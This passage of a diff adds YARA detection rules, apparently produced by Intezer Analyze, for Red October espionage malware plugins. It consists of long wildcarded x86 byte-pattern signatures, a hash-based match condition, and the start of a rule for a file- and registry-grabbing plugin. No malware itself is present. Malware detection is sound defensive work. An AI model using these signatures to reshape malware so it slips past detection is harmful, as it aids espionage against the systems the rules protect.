+		$block_2 = { 8B ?? 5? 8B ?? 5? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BA ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? BB ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? BB ?? ?? ?? ?? 8A ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 32 ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? 4? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 0B ?? 0F 85 }
+		$block_4 = { 8B ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 32 ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? 8B ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? C1 ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 8B ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 33 ?? BB ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 0F 85 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? A1 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 83 ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? B9 ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_7 = { B8 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? 4? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 4? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_8 = { 4? 00 ?? ?? 4? 5? 33 ?? 2E ?? 4? 4? 00 ?? 01 ?? 03 ?? ?? ?? ?? ?? ?? 0A ?? 0C ?? 0E 0F 10 ?? 12 ?? 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+		$block_9 = { 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+
+	condition:
+		hash.sha256(0, filesize) == "80f47c05bae10b97d298bf6aaacc0906c05fd0b77275543bc8c4f9bf8ff60a59" or
+		hash.sha256(0, filesize) == "5e9de30527a893d114330b48b90c49bcc4c6e00bfbfd6a473a48f70c8ef6aa0b" or
+		hash.sha256(0, filesize) == "5d6c6c542ca29d9c756b9f440863152f4c8c5f1ddb5732b0adbca82074a2a4c0" or
+		hash.sha256(0, filesize) == "2378ad529852c05da10c15e4b3fda00c4a818bef463a20c03e6330150bd4df21" or
+		10 of them
+}
+
+rule RedOctoberPluginGetFileReg {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? 8A ?? 0F B6 ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_1 = { 0F B6 ?? ?? 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? D3 ?? 83 ?? ?? 89 ?? ?? ?? 0B ?? 8B ?? ?? ?? 3B ?? 7E }
+		$block_2 = { 8B ?? 0F B6 ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? 03 ?? 33 ?? 81 C? ?? ?? ?? ?? 4? 89 ?? 80 3? ?? 75 }
